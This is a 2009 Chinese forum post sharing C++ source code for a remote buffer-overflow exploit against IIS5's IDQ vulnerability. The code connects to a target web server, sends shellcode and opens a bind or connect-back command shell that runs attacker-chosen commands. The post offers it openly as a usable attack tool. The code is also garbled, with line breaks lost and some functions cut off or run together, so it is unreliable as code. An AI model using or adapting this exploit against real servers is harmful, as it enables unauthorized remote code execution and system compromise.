注册
 找回密码
 注册
江西广告网
查看: 329|回复: 0
打印 上一主题 下一主题

IIS5_IDQ命令行溢出程序源代码

[复制链接]

该用户从未签到

1
跳转到指定楼层
发表于 2009-1-6 11:22:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?注册

x
  文件结构:   cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp   头文件: SkShellCodeFunc.h   功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)   中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.      文件1:iisidqoverflow.cpp (主文件)   #include   #include "snakesocket.h"   #include "wsastart.h"   #include "SkShellCodeFunc.h"      //function predeclare.   //取得 需要 地址 信息   void GetNecesProcAddr( char *szInfo, int iMaxSize);   //生成我的 shell code代码.   int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);      //宣示帮助.   void ShowHelp()   {   int i;      printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 \r\n");   printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 \r\n");   printf("\r\n\r\n 其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe /c dir\"");   printf("\r\n 如果为1,那么,将输入新的命令.");      printf("\r\n\r\n支持的操作系统 类型: ----\r\n");      for( i=0; i 0){   send( msocket, szBuff, iLen, 0);   }      return (iLen>0)?true:false;   }      int main(int argc, char *argv[])   {   CWSAStart wsaStart;   CSnakeSocket snakeSocket;   WORD wPort;   DWORD dwIP;      if( argc > 1){   if( stricmp( argv[1], "GetAddr") == 0){   char szTemp[12048];   GetNecesProcAddr(szTemp, sizeof(szTemp) );      printf("%s\r\n",szTemp);      OSVERSIONINFO osInfo;      osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);   GetVersionEx( &osInfo);   printf("Version: %d - %d. Build:%d. ID:%d\r\n[%s]\r\n",   osInfo.dwMajorVersion, osInfo.dwMinorVersion,   osInfo.dwBuildNumber, osInfo.dwPlatformId,   osInfo.szCSDVersion);   return 0;   }   }   if( argc = MAX_SYSTEM_TYPE_NUM){   printf("操作系统类型 不正确.\r\n");   ShowHelp();   return 0;   }   dwIP = snakeSocket.GetHostAddr( argv[2]);   if( dwIP == 0){   printf("输入地址不对.\r\n");   return 0;   }      Sk_ConnectType connectType;   ConnectStruct connectStruct;   char szCommand[129]="cmd.exe /c dir c:\\";   BOOL bInputCommand=false;      connectType = (Sk_ConnectType)atoi(argv[4]);   connectStruct.byConnectType = connectType;   switch(connectType){   case LISTEN_ON_PORT:   connectStruct.wListenPort = atoi(argv[5]);   if( argc >= 7){   bInputCommand = true;   }   break;   case CONNECT_TO_HOST:   if( argc = 8){   bInputCommand = true;   }   break;   default:   printf("溢出类型不正确.\r\n");   return 0;   }      if( bInputCommand){   printf("\r\n请输入绑定的命令:");   scanf( "%s",szCommand);   }      snakeSocket.CreateSocket();   wPort = atoi(argv[3]);      if( !snakeSocket.connect( argv[2], wPort)){   printf("连接目的机器 %s:%d 失败.\r\n", argv[2], wPort);   return 0;   }   else   printf("连接目的机器 %s:%d OK.\r\n", argv[2], wPort);      BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);      if( bValue){   printf( "发送shellcode 到 %s:%d OK\r\n", argv[2], wPort);   printf(" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!", szCommand);   }   else{   printf( "发送失败, 对方系统类型不支持\r\n");   }      snakeSocket.CloseSocket();   wsaStart.CleanUP();      return 0;   }    <
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表